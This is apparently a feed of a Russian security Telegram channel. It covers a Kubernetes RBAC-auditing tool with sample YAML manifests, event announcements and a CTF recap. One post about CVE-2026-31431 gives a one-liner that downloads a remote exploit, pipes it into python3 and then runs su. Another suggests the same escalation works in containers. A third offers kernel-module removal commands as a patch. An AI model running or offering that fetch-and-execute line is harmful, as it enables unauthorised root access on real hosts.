Forwarded from Безумный кот
Всем привет, продолжаем анонсы наших наработок.
Сегодня хотим поделиться с вами - RBAC-Engine😱
Какую задачу мы решали.😈
Есть обычный Kubernetes-кластер, по мере роста появляются новые контроллеры, роли, биндинги и в какой-то момент становится сложно ответить на базовый вопрос —
как вообще выглядит матрица доступов и кто к чему имеет доступ.
Даже на простом примере:
Попробуйте сходу понять💬 :
• Какие роли это разрешают
• Какие service accounts / пользователи с ними связаны
• Через какие биндинги это всё выдается
Отдельная боль — политики уровня "*", которые размывают реальную картину доступа.
Чтобы это разобрать, мы пошли двумя путями:😎
1. Политики (аналог Trivy-подхода)
Сделали свой механизм правил который позволяет:
• Описывать интересующий скоуп
• Применять к кластеру или namespace
• Получать результат со скорингом
Это даёт быстрый ответ — где💩
2. Граф связей (Agregation Layer API)
AGL позволил реализовать in-memory GRAPH DB, в рамках кторой находятся все связи и граф всегда простраивается относительно прав пользователей, так что лишнего не увидят.
AGL предоставляет возможность:☹️
• Фильтровать по нужному скоупу
• Отображать, кто реально может использовать доступ
• Накладывать результаты политик поверх найденных связей
• Резолвить "*" в Rule на основе реальной схемы OpenAPI кластера
В итоге вы получаете инструмент с помощью которого:
• Быстро находите роли с нужным доступом
• Понимаете, кто пользуется найденными ролями
• Понимаете, через какой биндинг выдан этот доступ
Такой подход позволяет убрать десятки, а может сотни человекочасов работы и получить ту прозрачность которую мы заслужили)
Полезная информация:
• Исходники на GitHub
• Chart на GitHub
Лучшая ваша похвала — это:🤪
• Вопросы по теме
• Поиск неточностей
• Советы, как сделать лучше
• И, конечно, ⭐️ на GitHub
Сегодня хотим поделиться с вами - RBAC-Engine
Какую задачу мы решали.
Есть обычный Kubernetes-кластер, по мере роста появляются новые контроллеры, роли, биндинги и в какой-то момент становится сложно ответить на базовый вопрос —
как вообще выглядит матрица доступов и кто к чему имеет доступ.
Даже на простом примере:
• pods/exec | verb=get,create
• nodes/proxy | verb=get,create
Попробуйте сходу понять
• Какие роли это разрешают
• Какие service accounts / пользователи с ними связаны
• Через какие биндинги это всё выдается
Отдельная боль — политики уровня "*", которые размывают реальную картину доступа.
Чтобы это разобрать, мы пошли двумя путями:
1. Политики (аналог Trivy-подхода)
Сделали свой механизм правил который позволяет:
• Описывать интересующий скоуп
• Применять к кластеру или namespace
• Получать результат со скорингом
Это даёт быстрый ответ — где
2. Граф связей (Agregation Layer API)
AGL позволил реализовать in-memory GRAPH DB, в рамках кторой находятся все связи и граф всегда простраивается относительно прав пользователей, так что лишнего не увидят.
AGL предоставляет возможность:
• Фильтровать по нужному скоупу
• Отображать, кто реально может использовать доступ
• Накладывать результаты политик поверх найденных связей
• Резолвить "*" в Rule на основе реальной схемы OpenAPI кластера
В итоге вы получаете инструмент с помощью которого:
• Быстро находите роли с нужным доступом
• Понимаете, кто пользуется найденными ролями
• Понимаете, через какой биндинг выдан этот доступ
Такой подход позволяет убрать десятки, а может сотни человекочасов работы и получить ту прозрачность которую мы заслужили)
Полезная информация:
• Исходники на GitHub
• Chart на GitHub
Лучшая ваша похвала — это:
• Вопросы по теме
• Поиск неточностей
• Советы, как сделать лучше
• И, конечно, ⭐️ на GitHub
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Безумный кот
Что бы добавить немного контекста, то политика описывается вот таким простым способом
->😎
На выходе мы получаем вот такой репорт для каждой роли
->😎
А для получения скоупа через граф, достаточно сформировать вот такой манифест:
->🤪
->
apiVersion: rbacreports.in-cloud.io/v1alpha1
kind: RbacPolicy
metadata:
name: ksv053-exec-into-pods
spec:
severity: HIGH
category: Kubernetes Security Check
checkID: KSV053
title: Exec into Pods
description: >-
Access to the pods/exec subresource lets a caller run arbitrary commands
inside any container they can target. Combined with a privileged container,
a hostPath mount, or a high-permission ServiceAccount, this is a direct path
to host root or cluster-admin.
remediation: >-
Limit pods/exec to a small set of trusted operator identities (or remove
entirely in production). For routine debugging, prefer ephemeral containers
or read-only log access.
match:
apiGroups: [""]
resources: [pods/exec]
verbs:
- create
- get
- "*"
На выходе мы получаем вот такой репорт для каждой роли
->
apiVersion: rbacreports.in-cloud.io/v1alpha1
kind: ClusterRbacReport
metadata:
labels:
app.kubernetes.io/managed-by: rbac-reports-operator
rbac-reports.io/resource-kind: ClusterRole
name: admin
ownerReferences:
- apiVersion: rbac.authorization.k8s.io/v1
blockOwnerDeletion: false
controller: true
kind: ClusterRole
name: admin
uid: 09b10026-db84-4725-aa30-9d6d22623451
report:
checks:
- category: Kubernetes Security Check
checkID: KSV053
description: Access to the pods/exec subresource lets a caller run arbitrary commands
inside any container they can target. Combined with a privileged container,
a hostPath mount, or a high-permission ServiceAccount, this is a direct path
to host root or cluster-admin.
messages:
- ClusterRole 'admin' should not have access to resources [pods/attach, pods/exec,
pods/portforward, pods/proxy, secrets, services/proxy] for verbs [get, list,
watch]
- ClusterRole 'admin' should not have access to resources [pods, pods/attach,
pods/exec, pods/portforward, pods/proxy] for verbs [create, delete, deletecollection,
patch, update]
remediation: Limit pods/exec to a small set of trusted operator identities (or
remove entirely in production). For routine debugging, prefer ephemeral containers
or read-only log access.
severity: HIGH
success: false
title: Exec into Pods
summary:
criticalCount: 5
highCount: 2
lowCount: 0
mediumCount: 2
totalCount: 9
spec:
roleRef:
kind: ClusterRole
name: admin
uid: 09b10026-db84-4725-aa30-9d6d22623451
scanner:
name: rbac-reports-operator
vendor: PRO-Robotech
version: 0.3.0
А для получения скоупа через граф, достаточно сформировать вот такой манифест:
->
{
"apiVersion": "rbacgraph.in-cloud.io/v1alpha1",
"kind": "RoleGraphReview",
"metadata": {"name": "demo"},
"spec": {
"selector": {
"apiGroups": [""],
"resources": ["pods/exec"],
"verbs": ["get", "create"]
},
"matchMode": "any",
"includeRuleMetadata": true
}
}Please open Telegram to view this post
VIEW IN TELEGRAM
22 апреля буду на встрече "КИБЕРБЕЗОПАСНОСТЬ В ЭПОХУ AI-АГЕНТОВ", которую организуют South HUB совместно с PT. Приглашаю и вас принять участие, мероприятие рассчитано на C-lvl. Будем много говорить как проводить атаки и строить безопасность с помощью ИИ 🤖
Эксперты:
— Андрей Кузнецов, Head of ML at Positive Technologies
— Алексей Лукацкий, Бизнес-консультант по безопасности Positive Technologies
— Алексей Леднев, руководитель направления продуктовой экспертизы, Positive Technologies
Модератор:
— Артём Гутник, CISO НСПK
Участие бесплатное, кол-во мест ограничено
Сбор 22 апреля в 18:30 в офисе Positive Technologies
Регистрация по ссылке
Эксперты:
— Андрей Кузнецов, Head of ML at Positive Technologies
— Алексей Лукацкий, Бизнес-консультант по безопасности Positive Technologies
— Алексей Леднев, руководитель направления продуктовой экспертизы, Positive Technologies
Модератор:
— Артём Гутник, CISO НСПK
Участие бесплатное, кол-во мест ограничено
Сбор 22 апреля в 18:30 в офисе Positive Technologies
Регистрация по ссылке
👍3🔥1
Созвон сообщества в Zoom 21.04 в 19:00
Ведущие: Александр Савин (CISO CDEK)
Алексей Федулаев (Head of Cloud Native Security MWS Cloud Platform)
Гости выпуска: Александра Сватикова (Архитектор ИБ Т-Банк)
Тема: Data Security
На созвоне узнаем:
• Что такое Data Security и Data Platform?
• Какие задачи стоят перед инженерами подразделения?
• Почему нужно отдельное подразделение, если в целом все безопасники защищают данные?
• Как помочь обеспечивать безопасность данных?
Подключаться по ссылке
Событие добавлено в календарь мероприятий ссыль, добавляй к себе, что бы не пропустить 😉
👀 @ever_secure | 💪 Мерч | 💳 Поддержать
Ведущие: Александр Савин (CISO CDEK)
Алексей Федулаев (Head of Cloud Native Security MWS Cloud Platform)
Гости выпуска: Александра Сватикова (Архитектор ИБ Т-Банк)
Тема: Data Security
На созвоне узнаем:
• Что такое Data Security и Data Platform?
• Какие задачи стоят перед инженерами подразделения?
• Почему нужно отдельное подразделение, если в целом все безопасники защищают данные?
• Как помочь обеспечивать безопасность данных?
Подключаться по ссылке
Событие добавлено в календарь мероприятий ссыль, добавляй к себе, что бы не пропустить 😉
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5🔥5 1
Ваши любимые админы поймали Аппсека)
Вот они слева направо @tech_b0lt_Genona, @bykvaadm, @ever_secure
Вот они слева направо @tech_b0lt_Genona, @bykvaadm, @ever_secure
❤12🔥6❤🔥4 3
Сегодня был важный день для команды Ever Secure. Мы провели CTF на конференции DUMP в Екб. * Это те самые лабы, которые будут в нашем курсе, который уже скоро стартует 😏
Вдвойне жесткий день, т.к. спали около 2 часов, до 5 утра сидели с @Bykva и фиксили баги, пилили харденинг и мониторинг 🫠. Спасибо @weahiro за топовый багхантинг. В итоге 23/24 тасок были решены. Только 1 была с багой (захарденили сами себя 😏)
Немного фото с награждения победителей 😉 поздравляю 🎉
Вдвойне жесткий день, т.к. спали около 2 часов, до 5 утра сидели с @Bykva и фиксили баги, пилили харденинг и мониторинг 🫠. Спасибо @weahiro за топовый багхантинг. В итоге 23/24 тасок были решены. Только 1 была с багой (захарденили сами себя 😏)
Немного фото с награждения победителей 😉 поздравляю 🎉
🔥18 6🌚3❤1😁1
Forwarded from Админим с Буквой (Aleksandr Kondratev)
Современная CTF-реальность (основное мероприятие закончилось в 18)
😢8😁7 1
Ever Secure
Друзья, а я напоминаю, что ваш покорный слуга отправляется на CISO FORUM 2026 🔥 Ожидаем много новых гостей на CISO Podcast? 😉 Это не просто форум — это ваша возможность выйти на прямой диалог с лидерами кибербезопасности России. 28 апреля 2026 года в Центре…
Завтра веду секцию "Эволюция атак" на CISO FORUM
Можно будет меня там поймать 😉
Кого бы вы хотели видеть на CISO Podcast? Пишите в комментарии кого попробовать поймать👇
👀 @ever_secure | 💪 Мерч | 💳 Поддержать
Можно будет меня там поймать 😉
Кого бы вы хотели видеть на CISO Podcast? Пишите в комментарии кого попробовать поймать
Please open Telegram to view this post
VIEW IN TELEGRAM
👏6 2 1
астрологи объявили неделю обновлений CVE-2026-31431
👀 @ever_secure | 💪 Мерч | 💳 Поддержать
curl https://copy.fail/exp | python3 && su
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7😨5💯2🤣2
в контейнере тоже можно поднять права, если есть петухон (КОНКРЕТНО ДЛЯ ЭТОГО ЭКСПЛОИТА, НАПИСАННОГО НА Python), а дальше уже вы все и так знаете...
но если нет, прикладываю видос с побегами https://youtu.be/biC3TO7OELY
👀 @ever_secure | 💪 Мерч | 💳 Поддержать
но если нет, прикладываю видос с побегами https://youtu.be/biC3TO7OELY
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6
патч:
или
👀 @ever_secure | 💪 Мерч | 💳 Поддержать
rm -rf /lib/modules/*/kernel/crypto/algif_aead.*
или
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4
Кто-нибудь, скажите уже ребятам из Ozon, что при нажатии в письме отписаться от рассылки, нужно ансанскрайбить, а не вести в личный кабинет, которого у меня давно нет, но к нему привязана почта, а меня перекидывает в новый кабинет где почты никакой и нет. Номера старого у меня тоже нет.
Предыдущий пост тут
https://t.me/ever_secure/1071
Но там был Ozon Travel, теперь Ozon Fintech. я не понимаю как я подписался на все появляющиеся новые продукты, но очень хочу отписаться(
Кажется UX дизайнеру пока напокойотдых)
Предыдущий пост тут
https://t.me/ever_secure/1071
Но там был Ozon Travel, теперь Ozon Fintech. я не понимаю как я подписался на все появляющиеся новые продукты, но очень хочу отписаться(
Кажется UX дизайнеру пока на
👾9👍7👏3❤2